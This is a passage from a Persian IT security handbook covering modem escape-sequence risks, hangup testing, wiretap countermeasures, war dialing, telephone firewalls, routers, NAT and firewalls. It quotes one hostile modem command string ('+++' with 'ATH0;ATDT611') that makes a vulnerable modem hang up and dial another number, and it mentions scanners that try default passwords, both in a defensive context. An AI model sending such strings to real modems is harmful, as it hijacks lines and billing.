كنند، با دريافت يك وقفة  استفاده مي)  طراحي شدهHayesكه توسط شركت سازندة مودم " (AT"مهايي كه از سري دستورات مود
ايِ ديگر، به حالت ثانيهبصورت پشت سرهم؛ و يك وقفة سه) فرض فراركاراكتر پيش(اي، ارسال سه علامت مثبت  ثانيهسه

بدهد، در اينصورت با دريافت يك رشتة فرار قابل " OK"كنش به اين ورودي پاسخ اگر مودم شما در وا. روندريزي ميبرنامه
اگر اين قابليت . كنند رشتة فرار مودم را غيرفعال ميUNIXهاي كنترل مودم تحت  بسياري از برنامه. باشدريزي ميبرنامه

شود مودم اتصال فعلي را قطع  يباعث م" rATH0;ATDT611\+++"فعال نشده باشد، در برخي از مودمها دريافت رشتة 
يك مكث " r\"و " +++"در برخي از مودمها بايد ميان . (المللي تعمير تلفن است تماس بگيردكه شمارة بين" ٦١١"كرده و با شمارة 

اند ليدكنندگان مودم تصميم گرفته به ثبت رسيده و بسياري از توHayesاي توسط   ثانيهاي وجود داشته باشد و در برخي خير، چراكه فاصلة سه ثانيه سه
  ).كه از آن استفاده نكنند

چنانچه قابليت رشتة فرار مودم غيرفعال نيست، مستندات مودم خود را بخوانيد و يا با فروشندة آن تماس بگيريد تا روش 
افزار مودم خود  كربندي نرمدر انجام اين گام ممكن است مجبور شويد كاراكترهايي را در فايل پي. غيرفعال كردن آنرا بياموزيد

  .تغيير دهيد

مطمئن شويد كه هيچ راهي براي . كند يا خير بررسي كنيد كه آيا مودم دسترسيهاي همزمان را بدرستي از يكديگر جدا مي •
  .كاربران وجود ندارد كه بتوانند به مودمي كه درحال حاضر مورد استفادة كاربر ديگري است دسترسي يابند

دن تلفن، برنامة پايانه از حافظه خارج نشود و يا اگر با فرستادن يك رشتة فرار امكان بازگشت مودم به حالت شاگر پس از قطع
اين كاربر حتي ممكن است . ريزي وجود داشته باشد، ممكن است كاربر بتواند تماسهايي برقرار كند كه هيچيك به ثبت نرسند برنامه
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 راهنماي امنيت فناوري اطلاعات ٣٨٤ 

تلفن ند كه بدون توجه به اينكه قرار بوده با چه شماره تلفني تماس بگيرد، با يك شمارهريزي مجدد ك بتواند مودم را طوري برنامه
  .از طرف ديگر ممكن است يك اسب تراوا نيز عمليات كاربران شما را دنبال كند. خاص ديگر تماس حاصل كند

صورتحسابهاي تلفن بسيار سنگين درصورتيكه مودم پس از خروج برنامه از حافظه اتصال را قطع نكند، ممكن است باعث شود 
باقي  ٢٤٥واردشدهشوند و از آن مهمتر اينكه ممكن است كاربري كه درحال استفاده از رايانة راه دور بوده، همچنان در آن بصورت 

  .بماند و در اينصورت كاربر بعدي ممكن است به حساب كاربر قبلي رايانة راه دور دسترسي پيدا كند

  آزمون پاسخ

. دهي رايانه، به يك رايانه يا پايانة ديگر با يك مودم ثانويه براي برقراري تماس با رايانة خود نياز داريد  قابليت پاسخبراي آزمايش
  :آزمايش را بصورت زير انجام دهيد

اگر .  به نمايش درآورد٢٤٦پيغام ورودرايانة شما بايد در چند زنگ اول به تماس پاسخ دهد و يك . با رايانة خود تماس بگيريد .١
 يا Breakهاي معمولاً دكمه( تنظيم شده باشد، ممكن است لازم باشد يك كليد خاص baud-rateمودم شما براي كار با چند 

Linefeed ( را چندبار بفشاريد تاbaud-rateايد هماهنگ دهنده، با مودمي كه از طريق آن تماس را برقرار كرده مودمِ پاسخ
 .كند انجام اينكار لازم نيست  را بطور خودكار تنظيم ميbaud-rateكنيد كه  ميچنانچه از مودمي استفاده . گردد

 . بايد تماس تلفني را قطع كند پس از انجام اينكار رايانه. مطابق معمول به رايانه وارد و سپس از آن خارج شويد .٢

ا با بيرون كشيدن سيم تلفن از مودم مجدداً با رايانة خود تماس بگيريد و بار ديگر به آن وارد شويد، و اينبار ارتباط ر .٣
سپس با همان شمارة قبلي با رايانة خود . كندسازي ميانجام اينكار قطع ناگهاني اتصال را شبيه. گيرنده قطع كنيد تماس

يد؛ حال بايد يك پيغام ورود جديد دريافت كنيد، و بهيچوجه نبايد مجدداً به ادامة نشست يا پوستة قبلي بازگرد. تماس بگيريد
شود سيستم وقتي ارتباط تلفني قطع مي. چراكه پردازة مربوط به آن پوسته بايد بلافاصله پس از قطع ارتباط از بين رفته باشد

در غيراينصورت اگر تلفن بطور اتفاقي قطع شود و شخص ديگري با . بايد بصورت خودكار كاربر را از حالت ورود خارج سازد
نست مشابه يك كاربر مجاز دستوراتي را به اجرا درآورد، بدون اينكه بخواهد حتي به سيستم رايانه تماس بگيرد، خواهد توا

 .وارد شود و يا رمز عبوري وارد كند

دهد و تمامي تماسها به نشده به تماس تلفني پاسخ ميبصورتيكه اولين مودم اشغال(اگر چند مودم داريد كه به يك گروه از مودمها متصلند  .٤
بسياري از اين سيستمها بدرستي عمل . كند ، مطمئن شويد كه اين سامانه بدرستي عمل مي)گيرد  انجام مييك شمارة واحد

. گيرندگان حتي هنگاميكه خط بعضي از مودمها مشغول نيست، بوق اشغال بشنوندكنند كه نتيجة آن اين است كه تماس نمي
نشده به يك مودم خراب برسند، جستجو را متوقف غالبرخي از اين گروهها درصورتيكه هنگام جستجو بدنبال مودم اش

 .ترتيب ساير مودمهاي گروه همواره بلااستفاده خواهند ماندكنند و بدين مي

  سمع حفاظت در مقابل استراق

مودمها كه با سرعت اي و نيز بسياري از فكستر از جمله مودمهاي داده مودمهاي قديمي. سمع هستندمودمها در معرض استراق
. توانند مورد شنود قرار بگيرندافزارهاي آماده در بازار مي كنند، براحتي با استفاده از سخت بيت بر ثانيه كار مي٩٦٠٠متر از ك

شوند كه هرچند كمتر در دسترس قرار دارند، اما با حداكثر  سمع ميتري استراقمودمهاي با سرعت بالاتر از طريق ابزارهاي پيچيده
  .باشندل تهيه ميچند هزار دلار قاب
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  سمعانواع استراق

در طرف شما مهاجم . سمع قرار بگيردتواند مورد استراقدر يك مكالمة تلفني روي يك مودم اساساً شش نقطه وجود دارد كه مي
پنجره كمي آنطرفتر خارج از . تواند يك ضبط صوت و يا يك مودم ديگر بصورت موازي با ابزارهاي مورد استفادة شما قرار دهد مي

زدنهاي چراغ ارسال و دريافت دادة مودم، اطلاعات منتقل شده از طريق آنرا اين امكان وجود دارد كه بتوان با تحليل چشمك
در مركز . ميان محل استقرار شما و دفتر مركزي شركت مخابرات، ممكن است از سيمها يك شاخة اضافه خارج شود. مشخص كرد

اي متصل و يا بصورت دستي يك تواند يك فرستندة غيرقابل رديابي به سوئيچ رايانه نويس مي سوئيچ شركت مخابرات، يك برنامه
چنانچه تماس تلفني از طريق ماهواره و يا امواج مايكروويو مسيريابي شود، اين امواج راديويي را . سيم روي سوئيچ نصب نمايد

  .سمع نصب نمود توان يك دستگاه استراق يتوان رمزگشايي كرد؛ و درنهايت اينكه در مقصد تماس تلفني م مي

  سمع مقابله با استراق

  :سمع الكترونيكي از آنها بهره بگيريد توانيد در مقابله با استراق اقدامات مختلفي با درجات اثرگذاري متفاوتي وجود دارند كه مي

  سيم تلفن خود را بصورت بصري مورد بررسي قرار دهيد
بيشتر شنودهايي كه افراد ناشي براي انجام آن تلاش . هاي ناآشنا و غريب باشيد ها و يا جعبهبدنبال سيمهاي اضافي، فرستنده

  . كنند به آساني قابل كشف هستند مي

   كنيد٢٤٧"جاروب"خط تلفن خود را بصورت الكترونيكي 
دگانه را در خطوط تلفن تواند سيمهاي اضافي و اتصالات چن يك تكنسين ماهر با استفاده از دستگاه سنجش بازتاب سيگنال مي

در بعضي مناطق بسياري از سيمهاي تلفن . سمع باشند يا نباشند شده ممكن است نشانة استراقاتصالات كشف. تشخيص دهد
چنانچه تصميم به پويش خطوط خود گرفتيد، بايد اينكار را هر . هاي مختلف آن منطقه دارندانشعابهاي چندگانه به سمت همسايگي

اند آسانتر از اين است كه بخواهيم تنها يكبار كشف تغييرات در خطوط تلفني كه در طول زمان تحت نظر بوده. ار كنيداز چندگاه تكر
  .به يك سيم تلفن نگاه كنيم و بفهميم كه آيا انشعاب اضافه دارد يا نه

 مخابرات  يي كه توسط شركت مثل شنودها-سمع را كشف كرد با جاروب كردن سيمها ممكن است نتوان بعضي از انواع استراق
  .شودبراي دايرة اجراي قوانين و يا ساير سازمانها اجرا مي

  استفاده از رمزنگاري
سمع اين است كه همواره فرض كنيد ابزار ارتباطي شما مورد سوء استفاده قرار دارد و بعنوان  بهترين راه حفاظت ارتباطات از استراق
اگر براي اتصال به اينترنت از ارتباط تلفني .  شنود، تمامي اطلاعات خود را رمزنگاري كنيديك اقدام پيشگيرانه براي جلوگيري از

   استفاده كنيد تا يك مانع رمزنگاري كه از سيستمSSH و SSLتوانيد از پروتكلهاي مبتني بر رمزنگاري مثل  كنيد، مياستفاده مي
كشي نقطه به پروتكل تونل مانند VPNسيستمهاي .  كرده باشيددهنده راه دور كشيده شده است ايجادرايانة شما تا سرويس

  .توانند براي رمزنگاري تمامي ارتباطات ميان رايانة شما و سرويس دهندة راه دور بكار روند  نيز ميIPSecو ) PPTP (٢٤٨نقطه

داشت و قيمت آنها نيز بيش از چند سال قبل تلفنها و يا مودمهايي كه قابليت رمزنگاري داشتند تنها براي مشتريان خاصي وجود 
 و مودم قرار  توانند بعنوان واسط ميان رايانه دلار وجود دارند كه مي٣٠٠هزار دلار بود، اما امروزه دستگاههايي با قيمت كمتر از 

كنند و ر ميبيشتر اين سيستمها بر اساس رمزنگاري كليد خصوصي كا. شدة ايمن را ايجاد كنندگيرند و يك ارتباط تلفني رمزنگاري
در عمل چنين محدوديتهايي براي اكثر سازمانها مشكلي . كنند كه براي هر كاربر يك كليد جداگانه بفرستدكاربر سيستم را ملزم مي

اي از سيستمهاي كليد عمومي وجود دارند كه عليرغم پديد آوردن يك سطح كارآ از  در عين حال تعداد فزاينده. كند ايجاد نمي
                                                                                                                                            
247  Sweep 
248  Point-to-point tunneling protocol 
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همچنين مودمهايي با قيمت مناسب وجود دارند كه داراي توابع رمزگذاري داخلي هستند و . ه از آنها نيز ساده استايمني، استفاد
  .باشندبراي كار نيازمند هيچ قطعة خاص ديگري نمي

  هاي آتش  جلوگيري از اتصال مودمهاي غيرقانوني از طريق پويش تلفني و ديواره

در .  كه طبق آن نصب و بكارگيري مودمها بدون مجوز مدير امنيت سازمان ممنوع استبسياري از سازمانها سياستهايي دارند
شود تا اطمينان حاصل شود كه بدرستي پيكربندي شده و پيغام ورود، نام كاربري،  اينصورت هر مودم مجاز هر از چندگاه مميزي مي

  .رمز عبور و ساير تنظيمات آن منطبق بر سياستهاي سازمان هستند

دو . خبر است اي است، در بسياري از سازمانها مودمهايي وجود دارد كه خود سازمان از آنها بيا كه نصب مودم كار بسيار سادهاز آنج
  .هاي آتش تلفن پويش تلفني، و ديواره: خانمان وجود داردروش براي مقابله با تهديدات اين مودمهاي به اصطلاح بي

  پويش تلفني

اي است كه پويشگر تلفن برنامه. مودمهاي ناشناخته و غيرمجاز از يك برنامة پويشگر تلفن بهره بگيريدتوانيد براي يافتن  شما مي
دهنده را ثبت گيرد و پيغام ورود سيستمهاي پاسخ ها تماس مي شده با تمام شماره تعيين بطور خودكار در يك محدودة از پيش

ريزي كرد كه سعي كنند با استفاده از يك فهرست از نامهاي كاربري ي برنامهاتوان بگونه برخي از پويشگرهاي تلفن را مي. كند مي
پويشگرهاي تلفن بصورت رايگان و تجاري . كنند نفوذ نماينداي كه پيدا ميشده به سيستمهاي رايانهو رمزهاي عبور از پيش تعيين

اي، پويش تلفن را بعنوان بخشي از يك عمليات  رايانهعلاوه بر اين برخي از شركتهاي مشاور . و با قابليتهاي مختلف وجود دارند
  .دهند مميزي امنيت انجام مي

  هاي آتش تلفني ديواره

شايد . در بعضي مواقع خطر نفوذ با استفاده از مودم چنان بالا است كه يك پويش ساده براي يافتن مودمهاي غيرمجاز كافي نيست
 و جهان  لفني براي افزودن يك لاية بيشتر به تماسهاي تلفني ميان سازمان خودهاي آتش ت بهتر باشد در چنين شرايطي از ديواره

  .خارج بهره بگيريد

اي است كه ميان سيستم تلفن شما و مدار ارتباطي بيروني قرار  مشابه يك ديوارة آتش اينترنتي، ديوارة آتش تلفني نيز وسيله
 است، و بجاي وصل كردن يك T1 پورت براي خطوط تلفني ديجيتالي بطور معمول يك ديوارة آتش تلفني داراي تعدادي. گيرد مي

PBX به T1  ،شركت مخابراتPBXشود و ديوارة آتش به   به ديوارة آتش تلفني وصل ميT1هاي خارجي.  

كند و درصورتيكه روي خطوطي كه قرار نيست بعنوان  يك ديوارة آتش تلفني، محتواي هر مكالمة تلفني را تجزيه و تحليل مي
هاي آتش تلفني را همچنين  ديوار. نمايددهد و رخداد را ثبت مي مودم استفاده شوند متوجه صداي مودم گردد، تماس را پايان مي

توان براي كنترل دستگاههاي فكس، تماسهاي تلفني ورودي، و نيز حتي استفادة غيرمجاز از تماسهاي راه دور و يا خدمات  مي
  .گذارند بكار بردگيرنده ميتماستلفني كه هزينة تماس را بحساب 

  هاي آتش محدوديتهاي پويش تلفني و ديواره

توانند بيش از كشف و كنترل مودمها و خطوط هاي آتش تلفني هيچيك نميه توجه داشته باشيد كه نه پويشگرهاي تلفني و نه ديوار
هاي تلفني خاصي دارد، قاعدتاً  سازمان شما محدودهاگر فرض را بر آن بگذاريم كه. شناسيد كار بيشتري انجام دهندتلفني كه مي

كنيد، و لذا چنانچه يكي از كارمندان از شركت هاي آتش تلفني خود را محدود به همين محدوده مي شما پويش تلفني و ديواره
دودة تلفني سازمان مخابرات يك خط تلفن جداگانه سفارش بدهد و هزينة آنرا از جانب خودش پرداخت كند، آن شمارة تلفن در مح

. گيرد و بنابراين با پويش تلفني قابل شناسايي نخواهد بود، و در معرض ديوارة آتش تلفني نيز قرار نخواهد داشت شما قرار نمي
  .گيرد مشابه همين مورد، يك تلفن همراه متصل به يك مودم نيز در محدودة از پيش دانستة شما قرار نمي
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كشي و ساير نقاطي است  تقسيمهاي فيزيكي سيمخانمان، مشاهدة بصري جعبه شناسايي تلفنهاي بيدر بسياري از موارد تنها روش
سيم  هاي بي سيم مجاز است، شناسايي ابزار هاي بي توانند وارد سازمان شوند؛ و در محيطي كه پر از ابزار كه خطوط تلفني بيروني مي

  .باشدغيرمجاز بسيار دشوارتر از اين مي

  ها شبكه
تر با هاي پرسرعت روند، ميليونها رايانه از طريق شبكه ها بكار مي ه مودمهاي تلفني هنوز بطور وسيعي براي متصل كردن رايانهگرچ

  :كنند از ديدگاه عملي، امروزه معمولاً كاربران رايانه دنياي شبكه را به دو دسته تقسيم مي. يكديگر در ارتباط هستند

  )هاLAN(هاي محلي  شبكه
هرچند . روند ها به يكديگر در يك منطقة واحد بكار مي هايي با سرعت بالا هستند كه براي اتصال رايانه ي محلي شبكههاشبكه

 بود كه انتقالات با فركانس بالا را از طريق سيمهاي مسي انجام ٢٤٩)پخش عمومي (گسترعام در ابتدا يك شبكة Ethernetشبكة 
تواند اطلاعات را  شود كه مي يا سوئيچ اطلاق ميhubبراي يك شبكة سيمي همراه با  بيشتر Ethernetداد، امروزه اصطلاح مي

 درون يك اداره يا -سيم كه براي فواصل نسبتاً كوتاه  هاي بي شبكه.  ميليون بيت بر ثانيه منتقل سازد١٠٠٠ يا ١٠٠، ١٠با سرعت 
دو مورد از پروتكلهايي استفاده شده است كه توسط مؤسسة در هر . شوند خوانده مي" هاي محلي شبكه"روند نيز   بكار مي-خانه 

  .اندتعريف شده) IEEE(مهندسان برق و الكترونيك 

 با استفاده از IPهاي  در اينصورت بسته. به يكديگر متصل كرد) سريال(توان دو رايانه را با استفاده از يك خط مستقيم همچنين مي
چنانچه هر . ارسال شوند) CSLTP( فشرده SLIP، و يا )SLIP(ترنتي خطوط سريال  اين ، پروتكل)PPP(نقطه -به-پروتكل نقطه

  .تواند مثل يك پل، ارتباط ميان دو آن شبكة محلي را ايجاد كند  به يك شبكة محلي متصل باشد، اين خط سريال مي رايانه

  )هاWAN(هاي گسترده  شبكه
شان به يكديگر از آنها هاي محليسازمانها براي متصل كردن شبكههايي با سرعت پايينتر هستند كه  هاي گسترده شبكهشبكه

كه (اي با مسافت طولاني و مدارهاي داده) انحصاري(هاي گسترده معمولاً از خطوط تلفن مستقيم استيجاري شبكه. كننداستفاده مي
شوند و قادرند داده را با سرعتي ميان  ساخته مي) ود عبور دهنداي، ارتباطات مايكروويو، و يا كابلهاي فيبرنوري را از خ ممكن است اتصالات ماهواره

تواند دفاتر يك شركت را در سراسر يك  يك شبكة گسترده مي.  هزار بيت در ثانيه تا چند ميليون بيت در ثانيه منتقل نمايند٥٦
ه اشتراك گذاشت تا همگي از آن توان يك شبكة گسترده را ميان چند سازمان بهمچنين مي. شهر يا يك قاره به هم متصل سازد

  .استفاده كنند

 يك شبكة VPN.  است(VPN)اي پيدا كرده، شبكة خصوصي مجازي هاي گسترده كه استفادة فزايندهيك نوع خاص شبكه
شوند؛ و نيز يك شبكة خصوصي است، چراكه براي  منتقل مي) يا شبكه عمومي ديگري(ها از طريق اينترنت  مجازي است، چون بسته

هاي درون  ها و يا دستكاري آن محتويات توسط آنان، دادهشدن ساير كاربران شبكة عمومي از محتويات بستهلوگيري از مطلعج
  .اي بسيار پايينتر از خطوط تلفن استيجاري، مناطق مختلفي را به هم متصل كندتواند با هزينه  ميVPN. شودها رمزگذاري مي بسته

 توسط دانشگاهها و شركتهاي طرف قرارداد سازمان ١٩٧٠ بود كه در اوايل دهة ARPANETاي  نههاي رايا يكي از اولين شبكه
ها را در سراسر جهان   رايانهARPANET. بوجود آمد) DARPA يا ARPA(هاي تحقيقاتي پيشرفته وزارت دفاع ايالات متحده  پروژه

 بوجود آمدند ١٩٨٠ محلي و دانشگاهي ديگر كه در دهة هاي  براي بسياري شبكه٢٥٠شاهراهبه يكديگر متصل ساخت و بعنوان يك 
  .بكار رفت

                                                                                                                                            
249  Broadcast 
250  Backbone 
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 است كه صدها ميليون رايانه و IPاينترنت يك شبكة مبتني بر . شود  تحت عنوان اينترنت شناخته ميARPANETامروز نوادة 
مواره به اين شبكه متصل هستند برخي از اين سيستمهاي كامپيوتري ه. گيرد بيش از يك ميليارد كاربر در سراسر جهان را در بر مي

تواند تلاش كند كه براي شما يك نامة الكترونيكي بفرستد، با هر يك از كاربران مي. شوند و مابقي هر از چندگاه به آن متصل مي
به ) زم را بدهددرصورتيكه سيستم شما طوري پيكربندي شده باشد كه به آنان دسترسي لا( شما چند فايل مبادله كند، و يا FTPدهندة سرويس

  .سيستم شما نفوذ كند

  هامسيريابها و دروازه
. توانند از طريق شبكة جهاني به يكديگر پيام بفرستند ها به آساني مي ، رايانهIPدهي بر مبناي عليرغم پيچيدگي اينترنت و آدرس
در شبكة " دروازه"سته را به يك رايانه به نام ها تنها مقصد نهايي بسته را تعيين كرده و سپس ب براي فرستادن يك بسته، اكثر رايانه

كنندة مقصد بعدي بسته در مسير ارسال آن به مقصد نهايي باشد، به آن اگر اين دروازه خود تعيين. فرستند محلي خود مي
ت و گمان مسيرياب براي رساندن بسته به مقصد نهايي، آنرا به يك دروازه كه مستقيماً به آن متصل اس. گويندمي" مسيرياب"

  .فرستد شود كه يك قدم نزديكتر به مقصد نهايي باشد مي مي

كنند كه در ريشة آن، ارتباط سازمان با اينترنت بسياري از سازمانها شبكة داخلي خود را بصورت يك درخت بزرگ پيكربندي مي
هاي خود بفرستد و يا به سوي  ي از زيرشبكهگيرد كه آنرا به يك كند، تصميم ميهنگاميكه دروازه يك بسته را دريافت مي. قرار دارد

اي پيچيده، الگوريتمهاي مسيريابي پيشرفته، و پروتكلهاي  شبكهIPكنندگان اصلي در بيرون، روي اينترنت، ارائه. ريشه هدايت كند
افتاد، ساير اتصالات كنند تا اگر يك اتصال از كار هاي همپوشان استفاده مي مسيريابي مخصوص دارند و بسياري از آنها از شبكه

  .همچنان ارتباط را برقرار نگهدارند

 DSL تهيه كنند كه براي اتصال به يك Ethernet پورتي ٨ يا ٤هاي مسيريابتوانند  كاربران خانگي و ادارات كوچك به آساني مي
 آن اتصال پرسرعت و از آنجا به هاي خانگي وها را ميان رايانهاند و بستهبا پهناي باند زياد و يا مودمهاي كابلي طراحي شده

 پشتيباني ٢٥١مسيريابهاي انتهاييو نيز دستگاههايي كه بوسيلة (هاي اين دستگاهها  يكي از مهمترين مشخصه. كنند اينترنت هدايت مي
هاي دريافتيِ   بستهIP يك سيستم عمومي براي ترجمة آدرسهاي NAT.  است٢٥٢(NAT)ترجمة آدرس شبكه قابليت ) شوند مي

از تعيين مقصد بسته توسط مسيرياب و ارسال آن به مقصد است كه عموماً از آن براي اين ) يا بعد(اب به آدرسهاي ديگر، قبل مسيري
 خارجي IPاز يك آدرس ) و غيرقابل مسيريابي( محرمانه IPشود كه امكان استفادة چندين رايانة داخلي با آدرسهاي  استفاده مي

 خصوصي متناظر در شبكة داخلي بكار IPاي به آدرسهاي  عمومي گروههاي رايانهIP آدرسهاي واحد، و يا براي ترجمة) عمومي(
تواند آنرا بدرستي  چراكه هيچ مسيرياب ديگري نمي( داخلي مستقيماً از روي اينترنت قابل دسترس نيستند IPاز آنجاكه آدرسهاي . رودمي

شود نوعي حفاظت ايجاد  كاربران خارجي روي ماشينهاي داخلي ايجاد ميتواند در مقابل اتصالاتي كه توسط ميNAT، )هدايت كند
  .توانند به اينترنت متصل باشندكند، هرچند ماشينهاي داخلي همچنان مي

ميان دو شبكة محلي در مكانهاي ) VPN(اندازي شبكة خصوصي مجازي مشخصة بعدي مسيريابهاي انتهايي، توانايي آنها در راه
 و انتقال امن IPsecتوانند با استفاده از پروتكلهايي مانند يك جفت مسيرياب مي.  است-دو دفتر يك سازمان  مثلاً -جداگانه 

  . را بوجود آورندVPNنشده، هاي محلي با استفاده از چيزي شبيه يك تونل مجازي و نه اينترنت حفاظتها ميان شبكهبسته

مهاجمان . پذيري محسوب شوندتوانند يك نقطة آسيبدهند و مي را نشان ميمسيريابها معمولاً مرزهاي محدودة امنيتي يك شبكه
اند را به جاي ديگري هدايت كنند، يا به ميزبانهاي هايي كه به مقصد سازمان ارسال شده توانند بستهبا دستكاري يك مسيرياب مي

دهد  ريزي متفاوتي ارائه مي اب، ويژگيهاي برنامههر توليدكنندة مسيري.  دسترسي غيرمجاز بيابند٢٥٣اطلاعات چينش شبكهداخلي يا 
يك پيشنهاد عملي اين است مطمئن شويم مسيريابها تنها با دسترسي . شود امن كردن مسيريابها كار دشواري شودكه باعث مي

وان پيكربندي آنها را از راه دور و تريزي هستند و نمي قابل برنامه) اي كه با يك كابل سريال به مسيرياب متصل استو مثلاً با پايانه(فيزيكي 
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اگر قرار است مسيريابها از طريق . هاي پيكربندي مسيريابها بايد همواره رمز عبور داشته باشندگزينه. با استفاده از شبكه تغيير داد
SNMPيرفعال باشد مديريت شوند، دسترسي خواندن از روي آنها بايد رمز عبور داشته باشد، و دسترسي نوشتن نيز برايشان غ.  

 IPها را به خارج از شبكه نفرستند، مگر در حالتي كه آدرس  باشند تا بسته٢٥٤صافيهاي خروجيمسيريابهاي مرزي بايد مجهز به 
 باشند تا ٢٥٥صافيهاي ورودياين مسيريابها همچنين بايد مجهز به . مبدأ بسته، معتبر و يك آدرس متعلق به آن شبكه باشد

  .اند، روي واسط خارجي مسيرياب پذيرفته نشده و به داخل فرستاده نشوندهستند از داخل شبكه آمدههاي جعلي كه مدعي  بسته

  هاي آتش خارجيه ديوار

هايي كه اي ميان دو شبكه طراحي شده، و تنها بستههاي داده است كه براي جلوگيري از جريان بسته اي ديوارة آتش وسيله
  .دهدشده عبور كنند را عبور مينخواهند از وروديهاي از پيش تعيي مي

ها، ساز بستههاي آتش غرباله ديوار. ٢٥٧هاي برنامهدروازه، و ٢٥٦صافيهاي بسته: شوند هاي آتش نوعاً به دو دسته تقسيم ميه ديوار
. ند يا خيرسازند كه آيا مجاز به عبور از ديوارة آتش هست دهند و مشخص مي اي شبكه را مورد ارزيابي قرار مي هاي دادهبسته
توانند بر اساس اطلاعاتي چون آدرسها و پورتهاي  آنها مي. اي دارندها ساختار بسيار سادهساز بستههاي آتش قديمي غربال ديواره

  .ها اجازة عبور دهند يا جلوي عبور آنها را بگيرند  وجود دارند، به بسته٢٥٨سرآيند كه همگي در SYNها مانند مبدأ و مقصد بسته

سپارند، و گذرد را به خاطر ميدهند، وضعيت هر ارتباطي كه از ديوارة آتش مي انجام ميstatefulاي كه وارسي  ي بستههاصافي
براي اينكه تشخيص دهند يك بسته مربوط به يك اتصال خاص هست يا نه، ممكن است جزئيات بيشتري از محتويات بسته را نيز 

 را شناسايي كند و تشخيص FTPتواند يك اتصال انتقال دادة  مي statefulوارة آتش بعنوان مثال يك دي. تحت بررسي قرار دهند
باشد و به آن اجازة انتقال دهد، و در همان حال جلوي يك اتصال جديد  موجود و مجاز ميFTPدهد كه مربوط به يك اتصال 

  .ورودي روي همان پورت را بگيرد

 براي ارائه خدمات كاربردي proxyكند و نوعاً از چند  عمل مي٢٦٠سطح برنامهر  د٢٥٩سطح بستهايِ شبكه بجاي يك دروازة برنامه
دهندة وب ديوارة سرويس proxyهاي وب سازمان بايد به دهندهافراد خارج از سازمان بجاي اتصال به سرويس. تشكيل شده است

تواند   از صحت لازم برخوردار است، ميدهد كه اتصالاطمينان مي proxyافزار نرم.  است متصل شوند٨٠آتش كه روي پورت 
مسئوليت  proxyبه همين ترتيب . هاي واقعي وب داخلي منتقل نمايددهندهاي آنرا تأييد كند، و سپس آنرا به سرويسجريان داده
  .ها را نيز بر عهده داردگيرندههاي وب داخلي به سرويسدهندههاي خروجي از سرويس ارسال داده

  :هاي آتش خارجي استفاده كرد به قرار زير هستندتوان از ديوارهسازي آنها مي كه براي پيادهبرخي از كارهايي

 براي همه، و فهرستي از ٨٠ به پورت HTTP مثل اجازة ايجاد ارتباط -جلوي تمام جريان دادة ورودي بجز چند استثنا  •
جلوگيري از هرآنچه "اين مسئله كه بعنوان . ا بگيرد ر- ٢٢ به پورت SSHشده براي ايجاد ارتباط ميزبانهاي از پيش تعيين

 .گرددشود، يك الگوي امنيتي است كه معمولاً استفاده از آن توصيه ميشناخته مي" كه مجاز نيست
 به مقصد هركجاي اينترنت اجازة خروج دهد، اما اتصالات به سمت درون را تنها از برخي HTTPشوندة به اتصالات خارج •

 . مجاز بداندميزبانهاي خاص
 .هاي آتش را براي تحليل در آينده ثبت كند رخدادهاي ديواره •
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 راهنماي امنيت فناوري اطلاعات ٣٩٠ 

 مثلاً اينكه چندين ديوارة آتش را -اند كه طراحي و استفاده از آنها كتابهاي بسيار خوب زيادي در زمينة ديوارهاي آتش منتشر شده
نها كه كاربران خارجي بتوانند به آن دسترسي داشته باشند اي به يك زيرشبكه از ميزباچگونه بايد پيكربندي كرد تا شبكه را بگونه

 را بطور عميق شرح -و يك زيرشبكه كه از دسترسي كاربران خارجي در امان باشد افزار كنند ) ٢٦١شدهناحيه غيرنظاميمعروف به (
  ٢٦٢.اند داده

  هاي آتش مبتني بر ميزبانه ديوار

و سيستمهاي اخير مايكروسافت، خود داراي يك صافي بستة داخلي هستند، و  Unixبسياري از سيستمها از جمله اكثر سيستمهاي 
ديوارة آتش با ضوابطي كنترل . اندها را نيز فراهم آورده بسته stateful، امكان وارسي Linux 2.4 در netfilterبرخي مثل برنامة 

ها، ميزبان، پروتكل، و يا  ن ضوابط بر اساس نوع بستهاي. گردندبارگذاري مي) kernel(عامل شود كه هنگام اجرا در هستة سيستممي
هاي پيكربندي صافيهاي بستة مبتني بر ميزبان مشيخط. ها اجازة عبور بدهند يا ندهندتوانند به بستهها، مي حتي نشانهاي بسته

  .هاي آتش خارجي هستنده هاي پيكربندي ديوارمشي بسيار مشابه خط

هاي شبكه افزاييد، به ضوابط كنترل دسترسي كه در برنامه داراي ديوارة آتش در سطح بسته مي kernelضوابطي كه شما به يك 
ايد و يا هر ديوارة آتش خارجي كه از شبكة دربرگيرنده ميزبان سازي كردهپياده) شودكه ذيلاً توضيح داده مي (tcpwrapperبا سيستم 
قسمت مهمي از يك تواند ميدهد و يك لاية حفاظتي بيشتر به شما مي kernelديوارة آتش سطح . شودكند اضافه ميحفاظت مي

  .استراتژي دفاع چندلايه محسوب شود

شوند؛ و اين امر در سيستمهاي زير بار  ميريزپردازندههاي آتش در سطح بسته اين است كه باعث مصرف توان اشكال اصلي ديواره
كند و ممكن است سيستم شما طاقت تحمل آنرا  اهميت زيادي پيدا ميسنگين و در حالتي كه مجموعة ضوابط طولاني باشند

. آورند هاي آتشِ در سطح بسته فشار چندان زيادي بر سيستم وارد نميه عليرغم اين مسئله، در بسياري موارد ديوار. نداشته باشد
تواند ترافيك يك خط   آساني مي بهUnixعامل  مجهز به هستة سيستمMHz 33 با توان Intel 486بعنوان مثال يک سيستم 

  . را پردازش كندDSL يا T1كاملاً بارشدة 

هاي وارده به مقصد ميزبان،  هاي آتش مبتني بر ميزبان خواهيد توانست ضوابطي تعريف كنيد كه بر بستهغالباً با استفاده از ديواره
كند اعمال شوند و ميزبان بعنوان دروازة آنها عمل مي ميهايي كه توسط ميزبان هدايت شونده از ميزبان، و نيز بستههاي خارج بسته
هاي  سازي بستهغربال. هاي وارده روش مهمي براي محدودكردن دسترسي به خدمات شبكه است سازي بستهغربال. شوند
شدن دستگاه به سازد و خرابي ناشي از آلوده شونده، افشاي تصادفي منابع حياتي و اطلاعات پيكربندي سيستم را محدود مي خارج

 كمك كند، اما كاربراني كه  تواند به اعمال سياستهاي استفادة صحيح از شبكهاين عمل همچنين مي. دهدتراوا را نيز كاهش مي
  .توانند از صافيهاي خروجي عبور كنند دانش كافي داشته باشند معمولاً مي

پذيريهاي اگر شما بدليل وجود آسيب.  است٢٦٣سازي هنگام نيازبالغرهاي آتش مبتني بر ميزبان، يكي از پيشرفتهاي مهم در ديواره
نشدة  توانيد يك برنامة ناظر اجرا كنيد كه پورتهاي استفادهايد، ميشده، خدمات مختلف را روي رايانه به اجرا در نياوردهشناخته

